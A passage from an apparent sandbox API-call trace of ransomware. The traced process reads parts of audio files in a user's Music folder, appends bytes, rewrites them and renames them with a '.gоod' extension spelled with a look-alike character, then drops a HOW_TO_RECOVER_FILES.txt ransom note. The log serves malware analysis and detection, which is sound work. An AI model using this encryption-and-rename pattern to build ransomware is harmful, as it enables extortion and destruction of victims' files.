ftLastWriteTime.dwHighDateTime=0x1d4d1f4, nFileSizeHigh=0x0, nFileSizeLow=0x1369e)) returned 1 [0201.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0201.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.706] GetFileType (hFile=0x828) returned 0x1 [0201.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.707] GetFileType (hFile=0x828) returned 0x1 [0201.707] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0201.707] ReadFile (in: hFile=0x828, lpBuffer=0x3389ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3389ea0*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0201.708] CloseHandle (hObject=0x828) returned 1 [0201.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.708] GetFileType (hFile=0x828) returned 0x1 [0201.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.708] GetFileType (hFile=0x828) returned 0x1 [0201.708] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1369e [0201.708] WriteFile (in: hFile=0x828, lpBuffer=0x338b120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x338b120*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0201.708] CloseHandle (hObject=0x828) returned 1 [0201.708] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.709] GetFileType (hFile=0x828) returned 0x1 [0201.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.709] GetFileType (hFile=0x828) returned 0x1 [0201.709] ReadFile (in: hFile=0x828, lpBuffer=0x338d3c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x338d3c8*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0201.738] CloseHandle (hObject=0x828) returned 1 [0201.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.738] GetFileType (hFile=0x828) returned 0x1 [0201.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.738] GetFileType (hFile=0x828) returned 0x1 [0201.738] WriteFile (in: hFile=0x828, lpBuffer=0x338c138*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x338c138*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0201.738] CloseHandle (hObject=0x828) returned 1 [0201.738] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.739] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3.gоod", lpFilePart=0x0) returned 0x3a [0201.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0201.739] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc719b230, ftCreationTime.dwHighDateTime=0x1d4d117, ftLastAccessTime.dwLowDateTime=0x47527a40, ftLastAccessTime.dwHighDateTime=0x1d4d1f4, ftLastWriteTime.dwLowDateTime=0x74758e55, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x136ae)) returned 1 [0201.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0201.739] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3.gоod")) returned 1 [0201.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0201.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0201.740] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3409740 | out: lpFileInformation=0x3409740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc71e10, ftCreationTime.dwHighDateTime=0x1d4c650, ftLastAccessTime.dwLowDateTime=0x42a3b850, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0x42a3b850, ftLastWriteTime.dwHighDateTime=0x1d4d17d, nFileSizeHigh=0x0, nFileSizeLow=0x15ebb)) returned 1 [0201.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0201.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0201.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.740] GetFileType (hFile=0x828) returned 0x1 [0201.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.740] GetFileType (hFile=0x828) returned 0x1 [0201.740] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0201.741] ReadFile (in: hFile=0x828, lpBuffer=0x3409b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3409b38*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0201.741] CloseHandle (hObject=0x828) returned 1 [0201.741] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0201.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.742] GetFileType (hFile=0x828) returned 0x1 [0201.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.742] GetFileType (hFile=0x828) returned 0x1 [0201.742] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x15ebb [0201.742] WriteFile (in: hFile=0x828, lpBuffer=0x340adc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x340adc0*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0201.742] CloseHandle (hObject=0x828) returned 1 [0201.742] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0201.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.742] GetFileType (hFile=0x828) returned 0x1 [0201.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.742] GetFileType (hFile=0x828) returned 0x1 [0201.742] ReadFile (in: hFile=0x828, lpBuffer=0x340d070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x340d070*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0202.030] CloseHandle (hObject=0x828) returned 1 [0202.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0202.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0202.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.030] GetFileType (hFile=0x828) returned 0x1 [0202.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0202.031] GetFileType (hFile=0x828) returned 0x1 [0202.031] WriteFile (in: hFile=0x828, lpBuffer=0x32e0f78*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x32e0f78*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0202.031] CloseHandle (hObject=0x828) returned 1 [0202.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3", lpFilePart=0x0) returned 0x37 [0202.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3.gоod", lpFilePart=0x0) returned 0x3c [0202.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0202.031] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc71e10, ftCreationTime.dwHighDateTime=0x1d4c650, ftLastAccessTime.dwLowDateTime=0x42a3b850, ftLastAccessTime.dwHighDateTime=0x1d4d17d, ftLastWriteTime.dwLowDateTime=0x74a2dbac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15ecb)) returned 1 [0202.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0202.031] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\weBDn0_LQsMH8ihK.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\webdn0_lqsmh8ihk.mp3.gоod")) returned 1 [0202.032] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0202.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x3412068 | out: lpFileInformation=0x3412068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76482800, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0x59fd3ba0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x59fd3ba0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x159c4)) returned 1 [0202.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0202.032] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0202.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.033] GetFileType (hFile=0x828) returned 0x1 [0202.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0202.033] GetFileType (hFile=0x828) returned 0x1 [0202.033] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0202.033] ReadFile (in: hFile=0x828, lpBuffer=0x3412410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3412410*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0202.034] CloseHandle (hObject=0x828) returned 1 [0202.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0202.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.034] GetFileType (hFile=0x828) returned 0x1 [0202.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0202.034] GetFileType (hFile=0x828) returned 0x1 [0202.034] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x159c4 [0202.035] WriteFile (in: hFile=0x828, lpBuffer=0x3413670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3413670*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0202.035] CloseHandle (hObject=0x828) returned 1 [0202.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0202.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.035] GetFileType (hFile=0x828) returned 0x1 [0202.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0202.035] GetFileType (hFile=0x828) returned 0x1 [0202.035] ReadFile (in: hFile=0x828, lpBuffer=0x34158f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x34158f8*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0202.436] CloseHandle (hObject=0x828) returned 1 [0202.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0202.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0202.436] GetFileType (hFile=0x828) returned 0x1 [0202.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0202.436] GetFileType (hFile=0x828) returned 0x1 [0202.436] WriteFile (in: hFile=0x828, lpBuffer=0x32eb890*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x32eb890*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0202.436] CloseHandle (hObject=0x828) returned 1 [0202.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a", lpFilePart=0x0) returned 0x2c [0202.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a.gоod", lpFilePart=0x0) returned 0x31 [0202.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0202.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76482800, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0x59fd3ba0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x74e0d6ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x159d4)) returned 1 [0202.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0202.437] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\ZCEU9.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\zceu9.m4a.gоod")) returned 1 [0202.437] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3b [0202.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0202.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0203.314] GetFileType (hFile=0x828) returned 0x1 [0203.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0203.314] GetFileType (hFile=0x828) returned 0x1 [0203.315] WriteFile (in: hFile=0x828, lpBuffer=0x35f2698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x35f2698*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0203.316] CloseHandle (hObject=0x828) returned 1 [0203.316] SetThreadErrorMode 